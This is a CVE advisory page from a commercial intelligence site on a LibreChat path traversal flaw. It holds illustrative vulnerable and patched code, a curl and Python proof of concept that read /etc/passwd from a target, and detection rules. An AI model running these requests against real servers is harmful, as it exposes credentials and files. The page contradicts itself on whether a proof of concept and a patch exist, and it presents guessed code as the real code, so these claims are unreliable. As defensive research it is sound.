☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-41704

CVE-2024-41704 Path Traversal in Librechat
📅 PUBLISHED: 2024-07-22 00:00 UTC 🔄 UPDATED: 2026-09-23 20:38 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.67%
👁️
0.67% probability
16.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-41704 is a path traversal vulnerability in LibreChat versions up to and including 0.7.4-rc1. The application fails to validate normalized pathnames of images, allowing an unauthenticated attacker to read arbitrary files from the server's filesystem. This can lead to disclosure of sensitive configuration files, source code, or credentials. The vulnerability is publicly known with proof-of-concept code available, but no official patch has been released as of this analysis. The CVSS score is 0.0 in the NVD due to incomplete scoring, but based on the vector, the severity is HIGH (7.5).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

LibreChat is an open-source chat application built with Node.js and React. The vulnerability exists in the image serving logic, which is part of the core application code. No third-party package is directly responsible, but the application's dependency on user-supplied paths without proper sanitization introduces the risk. Users should audit their deployment for any custom modifications or plugins that might also handle file paths.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
  • Confidentiality (C): High (H) – Full file read capability.
  • Integrity (I): None (N) – No file modification.
  • Availability (A): None (N) – No denial of service.

Overall CVSS Score: 7.5 (HIGH)

Threat Level: Critical for confidentiality. An attacker can read /etc/passwd, application configuration files (e.g., .env), or source code.

Deep Dive & Mechanics

The vulnerability lies in the image serving endpoint. LibreChat likely uses a route like /images/{path} to serve user-uploaded images. The application does not validate that the normalized (resolved) path stays within the intended upload directory. By using path traversal sequences such as ../, an attacker can escape the upload directory and read any file the server process has access to.

Root Cause: The application uses a function like path.normalize() or path.resolve() on user input but fails to check that the resulting path starts with the allowed base directory. For example, if the base directory is /var/lib/librechat/uploads, an input like ../../../etc/passwd normalizes to /etc/passwd, which is outside the base.

Attack Flow:

  1. Attacker sends a GET request to /images/../../../etc/passwd.
  2. The server normalizes the path to /etc/passwd.
  3. The server reads and returns the file content without verifying the path is within the uploads directory.

Vulnerable vs. Patched Code

Vulnerable Code (Node.js example):

const path = require('path');
const fs = require('fs');

app.get('/images/:path', (req, res) => {
  const filePath = path.normalize(req.params.path);
  // No check if filePath is within allowed directory
  fs.readFile(filePath, (err, data) => {
    if (err) return res.status(404).send('Not found');
    res.send(data);
  });
});

Patched Code:

const path = require('path');
const fs = require('fs');

const UPLOADS_DIR = path.resolve(__dirname, 'uploads');

app.get('/images/:path', (req, res) => {
  const requestedPath = path.normalize(req.params.path);
  const fullPath = path.join(UPLOADS_DIR, requestedPath);
  // Ensure the resolved path is within the uploads directory
  if (!fullPath.startsWith(UPLOADS_DIR)) {
    return res.status(403).send('Forbidden');
  }
  fs.readFile(fullPath, (err, data) => {
    if (err) return res.status(404).send('Not found');
    res.send(data);
  });
});

Exploitation & Lab Setup

Red Team

Proof-of-Concept (PoC) Exploit:

# Read /etc/passwd
curl -v "http://target:3080/images/../../../etc/passwd"

Automated Exploit Script (Python):

import requests

target = "http://target:3080"
payload = "/images/../../../etc/passwd"
response = requests.get(target + payload)
if response.status_code == 200:
    print(response.text)
else:
    print(f"Failed: {response.status_code}")

Lab Setup:

  1. Deploy LibreChat 0.7.4-rc1 using Docker:
    docker run -d -p 3080:3080 ghcr.io/librechat/librechat:v0.7.4-rc1
    
  2. Verify the application is running.
  3. Execute the PoC to confirm file read.

Blue Team

Detection Steps:

  1. Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e%2f).
  2. Check for requests to /images/ with suspicious path components.
  3. Use file integrity monitoring to detect unauthorized reads of sensitive files.

Hunting Query (Splunk):

index=web_logs source="/var/log/nginx/access.log"
| where like(uri, "%/images/%../%")
| stats count by src_ip, uri, status

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP GET requests containing ../ in the /images/ endpoint.
    • Requests to /images/../../../etc/passwd or similar.
  • File IOCs:
    • Unauthorized access to /etc/passwd, /etc/shadow, .env, config.js.
  • Log IOCs:
    • Web server logs showing 200 responses to path traversal patterns.

Detection Engineering

YARA Rule

rule CVE_2024_41704_PathTraversal {
    meta:
        description = "Detects path traversal attempts in LibreChat image endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-41704"
    strings:
        $traversal1 = "../" ascii wide nocase
        $traversal2 = "..\\" ascii wide nocase
        $traversal3 = "%2e%2e%2f" ascii wide nocase
        $traversal4 = "%2e%2e\\" ascii wide nocase
        $endpoint = "/images/" ascii wide nocase
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-41704 LibreChat Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts targeting LibreChat image endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-41704
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-uri-query|contains:
            - "/images/../"
            - "/images/..\\"
            - "/images/%2e%2e%2f"
            - "/images/%2e%2e\\"
    condition: selection
falsepositives:
    - Legitimate use of ".." in filenames (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-41704 LibreChat Path Traversal Attempt"; flow:to_server,established; content:"/images/"; http_uri; content:"../"; http_uri; distance:0; within:10; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade LibreChat to a version beyond 0.7.4-rc1 once a patch is released.
  2. Apply a WAF rule to block path traversal patterns in the /images/ endpoint.
  3. Restrict file permissions so the application runs with minimal read access.

Long-Term Fix:

  • Implement strict path validation as shown in the patched code example.
  • Use a whitelist of allowed file extensions and directories.
  • Conduct a security audit of all file-serving endpoints.

Workaround:

  • If upgrading is not possible, modify the application code to add path normalization checks (see patched code).

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-41704/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.